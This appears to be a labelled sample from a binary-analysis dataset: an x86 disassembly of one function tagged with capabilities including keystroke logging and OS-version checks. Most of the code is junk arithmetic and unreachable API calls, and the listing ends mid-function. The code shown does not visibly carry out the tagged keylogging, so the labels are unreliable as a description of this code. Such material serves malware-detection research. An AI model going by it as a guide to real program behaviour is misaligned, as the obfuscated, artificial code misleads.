Function at 0x10008e24
Capabilities:
Accept command line arguments
Check os version
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1007d973
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x1210
call fcn.10079b70
push esi
push edi
mov dword [ebp - 0xef0], 0xb0f73838
mov dword [ebp - 0xd9c], 0xfffffffd
mov dword [ebp - 0xda4], 1
mov dword [ebp - 0xdac], 0xfffffffe
push 2
lea ecx, [ebp - 0xcc8]
call fcn.10016d1f
and dword [ebp - 4], 0
mov dword [ebp - 0x70], 0
jmp 0x10008e91
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x10008ead
push dword [ebp - 0x70]
lea ecx, [ebp - 0xcc8]
call fcn.10016dbd
mov dword [eax], 0x580849f8
jmp 0x10008e8a
mov dword [ebp - 0x70], 0
jmp 0x10008ebd
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x10008ed3
mov eax, dword [ebp - 0x70]
mov dword [ebp + eax*4 - 0x520], 0
jmp 0x10008eb6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x520]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x520], eax
push 1
lea ecx, [ebp - 0xcc8]
call fcn.10016dbd
mov dword [eax], 0xe8b0d193
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcc8]
call fcn.10016da1
push 2
lea ecx, [ebp - 0xb7c]
call fcn.10016d1f
mov dword [ebp - 4], 1
mov dword [ebp - 0x1a4], 4
mov dword [ebp - 0x20c], 0
jmp 0x10008f47
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 2
jge 0x10008f69
push dword [ebp - 0x20c]
lea ecx, [ebp - 0xb7c]
call fcn.10016dbd
mov dword [eax], 0xfffa
jmp 0x10008f3a
mov dword [ebp - 0x1a4], 1
jmp 0x10008f82
mov eax, dword [ebp - 0x1a4]
dec eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0
jl 0x10009012
mov dword [ebp - 0x1d4], 0xebb6748f
mov byte [ebp - 0x117], 0
movzx eax, byte [ebp - 0x117]
test eax, eax
je 0x10008fc1
push 0
push 0
push 0x1a64
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
mov dword [ebp - 0x1d4], 1
jmp 0x10008fda
mov eax, dword [ebp - 0x1d4]
dec eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0
jl 0x1000900d
push dword [ebp - 0x1a4]
lea ecx, [ebp - 0xb7c]
call fcn.10016dbd
mov esi, eax
push dword [ebp - 0x1d4]
lea ecx, [ebp - 0xb7c]
call fcn.10016dbd
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x10008fcd
jmp 0x10008f75
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb7c]
call fcn.10016da1
mov dword [ebp - 0x2a0], 0xba76aabe
mov dword [ebp - 0x210], 0
jmp 0x10009044
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 4
jge 0x10009060
mov eax, dword [ebp - 0x210]
mov dword [ebp + eax*4 - 0x11cc], 0x13dd
jmp 0x10009037
mov dword [ebp - 0x2a0], 0
jmp 0x10009079
mov eax, dword [ebp - 0x2a0]
inc eax
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 3
jg 0x10009167
mov dword [ebp - 0x218], 0
jmp 0x1000909f
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 2
jge 0x100090bb
mov eax, dword [ebp - 0x218]
mov dword [ebp + eax*4 - 0x968], 0xdae8c9f3
jmp 0x10009092
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x968], 0
jmp 0x100090e9
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x968]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x968], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x968], 3
jg 0x1000914a
mov dword [ebp - 0x2e8], 1
mov dword [ebp - 0x2e8], 0
jmp 0x1000911c
mov eax, dword [ebp - 0x2e8]
inc eax
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 3
jg 0x10009148
mov byte [ebp - 0x10b], 0
movzx eax, byte [ebp - 0x10b]
test eax, eax
je 0x10009146
push 0
push 0x1a1a
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
jmp 0x1000910f
jmp 0x100090ce
mov byte [ebp - 0x10d], 0
movzx eax, byte [ebp - 0x10d]
test eax, eax
je 0x10009162
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
jmp 0x1000906c
mov dword [ebp - 0xdb4], 0xb0f73838
mov dword [ebp - 0xdbc], 0xfffffffd
mov dword [ebp - 0xd3c], 1
mov dword [ebp - 0xd40], 0xfffffffe
push 2
lea ecx, [ebp - 0xd10]
call fcn.10016d1f
mov dword [ebp - 4], 2
mov dword [ebp - 0xb0], 0
jmp 0x100091bc
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 2
jge 0x100091de
push dword [ebp - 0xb0]
lea ecx, [ebp - 0xd10]
call fcn.10016dbd
mov dword [eax], 0x580849f8
jmp 0x100091af
mov dword [ebp - 0xb0], 0
jmp 0x100091f7
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 1
jge 0x10009213
mov eax, dword [ebp - 0xb0]
mov dword [ebp + eax*4 - 0x908], 0
jmp 0x100091ea
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x908]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x908], eax
push 1
lea ecx, [ebp - 0xd10]
call fcn.10016dbd
mov dword [eax], 0xe8b0d193
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd10]
call fcn.10016da1
mov dword [ebp - 0xa80], 0x9e56e623
mov dword [ebp - 0x220], 0
jmp 0x10009273
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 1
jge 0x1000928f
mov eax, dword [ebp - 0x220]
mov dword [ebp + eax*4 - 0x910], 0xf1124f01
jmp 0x10009266
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x910], 0
je 0x100092c8
mov byte [ebp - 0x10a], 0
movzx eax, byte [ebp - 0x10a]
test eax, eax
je 0x100092c3
push 0x17e8
push 0x526
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
jmp 0x100094a8
mov dword [ebp - 0x15c], 6
mov dword [ebp - 0x15c], 0
jmp 0x100092eb
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0
jg 0x10009487
mov dword [ebp - 0x11c], 9
mov dword [ebp - 0x11c], 0
jmp 0x1000931b
mov eax, dword [ebp - 0x11c]
dec eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
jl 0x10009482
mov dword [ebp - 0x19c], 0x72c25fcc
mov dword [ebp - 0x6d8], 0xcc013cef
cmp dword [ebp - 0x19c], 0
jne 0x10009351
mov dword [ebp - 0x9c4], 1
jmp 0x10009358
and dword [ebp - 0x9c4], 0
cmp dword [ebp - 0x19c], 0
jne 0x10009368
cmp dword [ebp - 0x11c], 0
push 4
pop eax
imul eax, eax, 0
imul eax, dword [ebp + eax - 0x910], 0
imul eax, dword [ebp - 0x15c]
cmp eax, dword [ebp - 0x15c]
jne 0x10009397
cmp dword [ebp - 0x19c], 0
jne 0x10009397
and dword [ebp - 0x918], 0
jmp 0x100093a1
mov dword [ebp - 0x918], 1
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x918], eax
jne 0x100093bb
mov dword [ebp - 0x920], 1
jmp 0x100093c2
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x920], eax
jl 0x100093dc
mov dword [ebp - 0x928], 1
jmp 0x100093e3
and dword [ebp - 0x928], 0
cmp dword [ebp - 0x928], 0xe6768459
jae 0x100093fb
mov dword [ebp - 0x7ec], 1
jmp 0x10009402
and dword [ebp - 0x7ec], 0
mov eax, dword [ebp - 0x11c]
cmp dword [ebp - 0x7ec], eax
jle 0x1000941c
mov dword [ebp - 0x900], 1
jmp 0x10009423
and dword [ebp - 0x900], 0
mov eax, dword [ebp - 0x19c]
cmp dword [ebp - 0x900], eax
jl 0x1000943d
mov dword [ebp - 0x404], 1
jmp 0x10009444
and dword [ebp - 0x404], 0
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x6d8], eax
mov eax, dword [ebp - 0x6d8]
cmp dword [ebp - 0x19c], eax
jle 0x1000946a
mov dword [ebp - 0x40c], 1
jmp 0x10009471
and dword [ebp - 0x40c], 0
mov eax, dword [ebp - 0x40c]
mov dword [ebp - 0xa80], eax
jmp 0x1000930e
jmp 0x100092de
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x100094a8
push 0
push 0x1a1a
push 0
call dword [sym.imp.GDI32.dll_GetObjectW]
mov dword [ebp - 0xd48], 0xb0f73838
mov dword [ebp - 0xd50], 0xfffffffd
mov dword [ebp - 0x30], 0xf5a9c4c8
mov dword [ebp - 0x44c], 0x82104667
mov dword [ebp - 0x164], 0x6a4137d6
mov dword [ebp - 0xca8], 0xffff
mov dword [ebp - 0xca4], 0xffff
mov dword [ebp - 0xca0], 0xffff
mov dword [ebp - 0xc9c], 0xffff
lea ecx, [ebp - 0x3c5]
call fcn.10008c73
push eax
lea eax, [ebp - 0xc98]
push eax
lea eax, [ebp - 0xca8]
push eax
lea ecx, [ebp - 0x10c4]
call fcn.10016dcc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf2c]
call fcn.10016d7b
mov dword [ebp - 4], 3
mov dword [ebp - 0xa90], 0xc064
mov dword [ebp - 0x78], 0
jmp 0x10009555
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x1000956b
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x184], 0x912530a9
jmp 0x1000954e
mov dword [ebp - 0x78], 0
jmp 0x1000957b
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 1
jge 0x10009591
mov eax, dword [ebp - 0x78]
mov dword [ebp + eax*4 - 0x1b4], 0xed1d25bb
jmp 0x10009574
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x30], eax
jge 0x100095ab
cmp dword [ebp - 0x30], 0
je 0x100095ab
mov dword [ebp - 0x35c], 1
jmp 0x100095b2
and dword [ebp - 0x35c], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x35c]
mov dword [ebp + eax - 0x184], ecx
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x35c]
test eax, eax
je 0x100095ed
mov eax, 0x4039ee49
test eax, eax
je 0x100095ed
or eax, 0xffffffff
je 0x100095ed
mov dword [ebp - 0xa88], 1
jmp 0x100095f4
and dword [ebp - 0xa88], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd58], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x184], 1
jge 0x10009619
mov dword [ebp - 0x6b4], 1
jmp 0x10009620
and dword [ebp - 0x6b4], 0
cmp dword [ebp - 0x6b4], 1
jl 0x10009635
mov dword [ebp - 0x414], 1
jmp 0x1000963c
and dword [ebp - 0x414], 0
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x414], eax
jne 0x10009653
mov dword [ebp - 0x88c], 1
jmp 0x1000965a
and dword [ebp - 0x88c], 0
mov eax, dword [ebp - 0x88c]
sub eax, dword [ebp - 0x44c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x1b4]
je 0x10009681
mov dword [ebp - 0x41c], 1
jmp 0x10009688
and dword [ebp - 0x41c], 0
mov eax, dword [ebp - 0x30]
add eax, dword [ebp - 0x41c]
push 4
pop ecx
imul ecx, ecx, 0
cmp eax, dword [ebp + ecx - 0x1b4]
jge 0x100096ac
mov dword [ebp - 0x6bc], 1
jmp 0x100096b3
and dword [ebp - 0x6bc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b4]
cmp dword [ebp - 0x6bc], eax
jne 0x100096d4
mov dword [ebp - 0x424], 1
jmp 0x100096db
and dword [ebp - 0x424], 0
mov eax, dword [ebp - 0x424]
mov dword [ebp - 0x164], eax
mov dword [ebp - 0x164], 0xffffffef
jmp 0x10009700
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 0xfffffff7
jne 0x10009ae1
mov dword [ebp - 0x16c], 1
mov dword [ebp - 0xd0], 0
jmp 0x10009730
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 2
jge 0x1000974c
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0x960], 0xbd12f8ba
jmp 0x10009723
mov dword [ebp - 0xd0], 0
jmp 0x10009765
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 3
jge 0x10009781
mov eax, dword [ebp - 0xd0]
mov dword [ebp + eax*4 - 0xbe8], 0x4ab10079
jmp 0x10009758
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x1b4]
cmp dword [ebp + eax - 0x184], ecx
jne 0x100097a9
mov dword [ebp - 0x7f4], 1
jmp 0x100097b0
and dword [ebp - 0x7f4], 0
mov eax, dword [ebp - 0x16c]
imul eax, dword [ebp - 0x7f4]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x184], eax
mov dword [ebp - 0x30], 0
jmp 0x100097da
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
jg 0x10009adc
mov dword [ebp - 0xa98], 0xf620a341
mov dword [ebp - 0x3bc], 0xffffffff
mov dword [ebp - 0xaa8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbe8]
inc eax
mov dword [ebp - 0x39c], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x39c]
mov dword [ebp + eax - 0xbe8], ecx
push 3
lea ecx, [ebp - 0xf2c]
call fcn.10016dbd
mov ecx, dword [ebp - 0x39c]
mov dword [eax], ecx
cmp dword [ebp - 0x39c], 0
je 0x100099a9
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x184], 0
jne 0x10009903
mov eax, dword [ebp - 0x164]
push 4
pop ecx
imul ecx, ecx, 0
sub eax, dword [ebp + ecx - 0x184]
je 0x10009903
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x960]
dec eax
push 4
pop ecx
shl ecx, 1
cmp eax, dword [ebp + ecx - 0xbe8]
jne 0x1000989b
mov dword [ebp - 0x42c], 1
jmp 0x100098a2
and dword [ebp - 0x42c], 0
mov eax, dword [ebp - 0x42c]
sub eax, dword [ebp - 0x3bc]
cmp eax, 1
jne 0x100098bf
mov dword [ebp - 0x6c4], 1
jmp 0x100098c6
and dword [ebp - 0x6c4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x960]
cmp dword [ebp - 0x6c4], eax
jge 0x100098e7
mov dword [ebp - 0x434], 1
jmp 0x100098ee
and dword [ebp - 0x434], 0
cmp dword [ebp - 0x434], 0x6f1a
jge 0x10009903
and dword [ebp - 0x8dc], 0
jmp 0x1000990d
mov dword [ebp - 0x8dc], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x8dc]
mov dword [ebp + eax - 0x960], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1b4]
sub eax, dword [ebp - 0x16c]
cmp eax, dword [ebp - 0xa90]
jle 0x10009947
mov dword [ebp - 0x43c], 1
jmp 0x1000994e
and dword [ebp - 0x43c], 0
cmp dword [ebp - 0x43c], 1
ja 0x10009963
mov dword [ebp - 0x6cc], 1
jmp 0x1000996a
and dword [ebp - 0x6cc], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xbe8]
cmp dword [ebp - 0x6cc], eax
je 0x1000998a
mov dword [ebp - 0x444], 1
jmp 0x10009991
and dword [ebp - 0x444], 0
cmp dword [ebp - 0x444], 0xcb06a9be
ja 0x100099a9
mov dword [ebp - 0x7fc], 1
jmp 0x100099b0
and dword [ebp - 0x7fc], 0
mov eax, dword [ebp - 0x7fc]
dec eax
je 0x10009ac4
mov dword [ebp - 0xacc], 0xfffffffe
mov dword [ebp - 0x16c], 0
jmp 0x100099e0
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
jg 0x10009ac2
mov dword [ebp - 0x364], 6
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0xd60], eax
mov eax, dword [ebp - 0xa98]
mov dword [ebp - 0xe14], eax
cmp dword [ebp - 0x44c], 1
jle 0x10009a21
mov dword [ebp - 0x6d4], 1
jmp 0x10009a28
and dword [ebp - 0x6d4], 0
cmp dword [ebp - 0x6d4], 0x3c48
jge 0x10009a40
mov dword [ebp - 0x454], 1
jmp 0x10009a47
and dword [ebp - 0x454], 0
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x364], eax
mov eax, dword [ebp - 0x364]
cmp eax, dword [ebp - 0x454]
je 0x10009a6d
mov dword [ebp - 0xaa0], 1
jmp 0x10009a74
and dword [ebp - 0xaa0], 0
cmp dword [ebp - 0xaa8], 0
je 0x10009a89
mov dword [ebp - 0x894], 1
jmp 0x10009a90
and dword [ebp - 0x894], 0
mov eax, dword [ebp - 0xacc]
cmp eax, dword [ebp - 0x894]
jle 0x10009aaa
mov dword [ebp - 0x45c], 1
jmp 0x10009ab1
and dword [ebp - 0x45c], 0
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x3bc], eax
jmp 0x100099d3
jmp 0x10009ad7
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp + eax - 0x960], ecx
jmp 0x100097d3
jmp 0x100096f3
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf2c]
call fcn.10016da1
mov dword [ebp - 0xe1c], 1
mov dword [ebp - 0x50], 0xc29000d4
mov dword [ebp - 0x1f4], 0xe8f21009
mov dword [ebp - 0x6f4], 0x428464d9
mov dword [ebp - 0x2a8], 0xfffffffb
mov dword [ebp - 0xc80], 0x3cb87840
mov dword [ebp - 0xc7c], 0x3cb87840
mov dword [ebp - 0xc78], 0x3cb87840
mov dword [ebp - 0xc74], 0x3cb87840
lea ecx, [ebp - 0x351]
call fcn.10008c73
push eax
lea eax, [ebp - 0xc70]
push eax
lea eax, [ebp - 0xc80]
push eax
lea ecx, [ebp - 0x111c]
call fcn.10016dcc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xf3c]
call fcn.10016d7b
mov dword [ebp - 4], 4
push 3
lea ecx, [ebp - 0xba0]
call fcn.10016d1f
mov byte [ebp - 4], 5
mov dword [ebp - 0x80], 0
jmp 0x10009ba4
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 3
jge 0x10009bc0
push dword [ebp - 0x80]
lea ecx, [ebp - 0xba0]
call fcn.10016dbd
mov dword [eax], 0xffff
jmp 0x10009b9d
mov dword [ebp - 0x80], 0
jmp 0x10009bd0
mov eax, dword [ebp - 0x80]
inc eax
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 4
jge 0x10009be6
mov eax, dword [ebp - 0x80]
mov dword [ebp + eax*4 - 0x1070], 0xba006696
jmp 0x10009bc9
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0xe24], eax
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x50], eax
je 0x10009c03
mov dword [ebp - 0x6dc], 1
jmp 0x10009c0a
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x6dc], eax
jl 0x10009c21
mov dword [ebp - 0x464], 1
jmp 0x10009c28
and dword [ebp - 0x464], 0
cmp dword [ebp - 0x464], 6
jl 0x10009c3d
mov dword [ebp - 0x804], 1
jmp 0x10009c44
and dword [ebp - 0x804], 0
mov eax, dword [ebp - 0x804]
mov dword [ebp - 0x1f4], eax
mov eax, dword [ebp - 0x1f4]
cmp dword [ebp - 0x50], eax
jl 0x10009c67
mov dword [ebp - 0x46c], 1
jmp 0x10009c6e
and dword [ebp - 0x46c], 0
cmp dword [ebp - 0x46c], 1
jl 0x1000a1ba
mov dword [ebp - 0x40], 0xfffffffa
or dword [ebp - 0xc44], 0xffffffff
or dword [ebp - 0xc40], 0xffffffff
or dword [ebp - 0xc3c], 0xffffffff
or dword [ebp - 0xc38], 0xffffffff
lea ecx, [ebp - 0x352]
call fcn.10008c73
push eax
lea eax, [ebp - 0xc34]
push eax
lea eax, [ebp - 0xc44]
push eax
lea ecx, [ebp - 0x1124]
call fcn.10016dcc
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x9b0]
call fcn.10016d7b
mov byte [ebp - 4], 6
mov dword [ebp - 0x4ac], 1
mov dword [ebp - 0xae4], 1
mov dword [ebp - 0x81c], 0xebb36e90
mov dword [ebp - 0xb8], 0
jmp 0x10009d0e
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 3
jge 0x10009d2a
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x11a4], 0xfffffffc
jmp 0x10009d01
mov dword [ebp - 0xb8], 0
jmp 0x10009d43
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 4
jge 0x10009d5f
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x1154], 0xfff9
jmp 0x10009d36
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x6e4], eax
push 2
lea ecx, [ebp - 0x9b0]
call fcn.10016dbd
mov ecx, dword [ebp - 0x6e4]
mov dword [eax], ecx
cmp dword [ebp - 0x6e4], 0xf0ed
jge 0x10009d95
mov dword [ebp - 0x474], 1
jmp 0x10009d9c
and dword [ebp - 0x474], 0
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x474]
cmp eax, dword [ebp - 0x6f4]
jne 0x10009dba
mov dword [ebp - 0x904], 1
jmp 0x10009dc1
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x904]
sub eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x40]
cmp eax, 9
jne 0x10009dde
mov dword [ebp - 0x47c], 1
jmp 0x10009de5
and dword [ebp - 0x47c], 0
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x47c]
jne 0x10009e0b
push 0
lea ecx, [ebp - 0x9b0]
call fcn.10016dbd
cmp dword [eax], 0
jne 0x10009e0b
and dword [ebp - 0x6ec], 0
jmp 0x10009e15
mov dword [ebp - 0x6ec], 1
cmp dword [ebp - 0x6ec], 1
jne 0x10009e2a
mov dword [ebp - 0x484], 1
jmp 0x10009e31
and dword [ebp - 0x484], 0
cmp dword [ebp - 0x484], 0x81d3efe3
jae 0x10009e49
mov dword [ebp - 0x80c], 1
jmp 0x10009e50
and dword [ebp - 0x80c], 0
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x80c]
cmp eax, 0xfffffffd
jle 0x10009e6f
mov dword [ebp - 0x48c], 1
jmp 0x10009e76
and dword [ebp - 0x48c], 0
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp - 0x6f4]
cmp dword [ebp - 0x2a8], eax
jle 0x10009e9c
mov dword [ebp - 0x494], 1
jmp 0x10009ea3
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x494], eax
jg 0x10009eba
mov dword [ebp - 0x89c], 1
jmp 0x10009ec1
and dword [ebp - 0x89c], 0
cmp dword [ebp - 0x89c], 0x685e9d07
jle 0x10009ed9
mov dword [ebp - 0x49c], 1
jmp 0x10009ee0
and dword [ebp - 0x49c], 0
cmp dword [ebp - 0x49c], 0xa3821c76
ja 0x10009ef8
mov dword [ebp - 0x6fc], 1
jmp 0x10009eff
and dword [ebp - 0x6fc], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x6fc], eax
jl 0x10009f16
mov dword [ebp - 0x4a4], 1
jmp 0x10009f1d
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x4a4], eax
je 0x10009f34
mov dword [ebp - 0x814], 1
jmp 0x10009f3b
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x814]
mov dword [ebp - 0x4ac], eax
mov eax, dword [ebp - 0x4ac]
sub eax, dword [ebp - 0x50]
je 0x10009f65
push 0xfffffffffffffffc
pop eax
test eax, eax
je 0x10009f65
mov dword [ebp - 0x704], 1
jmp 0x10009f6c
and dword [ebp - 0x704], 0
cmp dword [ebp - 0x704], 0xffffffff
jae 0x10009f81
mov dword [ebp - 0x4b4], 1
jmp 0x10009f88
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x4b4], eax
je 0x10009f9f
mov dword [ebp - 0x8e4], 1
jmp 0x10009fa6
and dword [ebp - 0x8e4], 0
mov eax, dword [ebp - 0x8e4]
sub eax, 4
je 0x1000a064
mov dword [ebp - 0xe2c], 0x2d0b
mov dword [ebp - 0xe34], 0xdb4dbdf9
mov dword [ebp - 0xe3c], 0
push 1
lea ecx, [ebp - 0xba0]
call fcn.10016dbd
mov dword [ebp - 0x36c], eax
mov eax, dword [ebp - 0x36c]
mov eax, dword [eax]
mov dword [ebp - 0xad4], eax
mov eax, dword [ebp - 0x2a8]
mov dword [ebp - 0xadc], eax
mov eax, dword [ebp - 0x36c]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x36c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xad4]
cmp eax, dword [ebp - 0xadc]
je 0x1000a02b
mov dword [ebp - 0x4bc], 1
jmp 0x1000a032
and dword [ebp - 0x4bc], 0
mov esi, dword [ebp - 0xae4]
push 2
lea ecx, [ebp - 0x9b0]
call fcn.10016dbd
mov eax, dword [eax]
imul eax, dword [ebp - 0x4bc]
sub esi, eax
push 1
lea ecx, [ebp - 0x9b0]
call fcn.10016dbd
mov dword [eax], esi
jmp 0x1000a1a9
mov dword [ebp - 0x228], 1
mov dword [ebp - 0x40], 0
jmp 0x1000a07e
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0x11
jge 0x1000a0a0
mov byte [ebp - 0xf0], 0
movzx eax, byte [ebp - 0xf0]
test eax, eax
je 0x1000a09e
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
jmp 0x1000a077
mov eax, dword [ebp - 0x228]
push 4
pop ecx
shl ecx, 1
add eax, dword [ebp + ecx - 0x1154]
cmp eax, 0x6b6a42da
jne 0x1000a0c5
mov dword [ebp - 0x3a4], 1
jmp 0x1000a0cc
and dword [ebp - 0x3a4], 0
cmp dword [ebp - 0x2a8], 0x213d
jne 0x1000a0e4
mov dword [ebp - 0x70c], 1
jmp 0x1000a0eb
and dword [ebp - 0x70c], 0
mov eax, dword [ebp - 0x228]
add eax, dword [ebp - 0x70c]
cmp eax, 0xa82e
jle 0x1000a10a
mov dword [ebp - 0x4c4], 1
jmp 0x1000a111
and dword [ebp - 0x4c4], 0
push 0
lea ecx, [ebp - 0xf3c]
call fcn.10016dbd
mov ecx, dword [ebp - 0x3a4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x81c], eax
mov eax, dword [ebp - 0x81c]
imul eax, dword [ebp - 0x3a4]
cmp eax, 0x65d4863f
jl 0x1000a152
mov dword [ebp - 0xaec], 1
jmp 0x1000a159
and dword [ebp - 0xaec], 0
push 2
lea ecx, [ebp - 0x9b0]
call fcn.10016dbd
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0
je 0x1000a190
cmp dword [ebp - 0x228], 0
je 0x1000a190
mov dword [ebp - 0x4cc], 1
jmp 0x1000a197
and dword [ebp - 0x4cc], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp + eax - 0x1070], ecx
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x9b0]
call fcn.10016da1
jmp 0x1000a1fd
mov esi, dword [ebp - 0x1f4]
push 0
lea ecx, [ebp - 0xba0]
call fcn.10016dbd
cmp esi, dword [eax]
jl 0x1000a1e1
push 0xfffffffffffffff7
pop eax
test eax, eax
jne 0x1000a1e1
and dword [ebp - 0x714], 0
jmp 0x1000a1eb
mov dword [ebp - 0x714], 1
push 4
pop eax
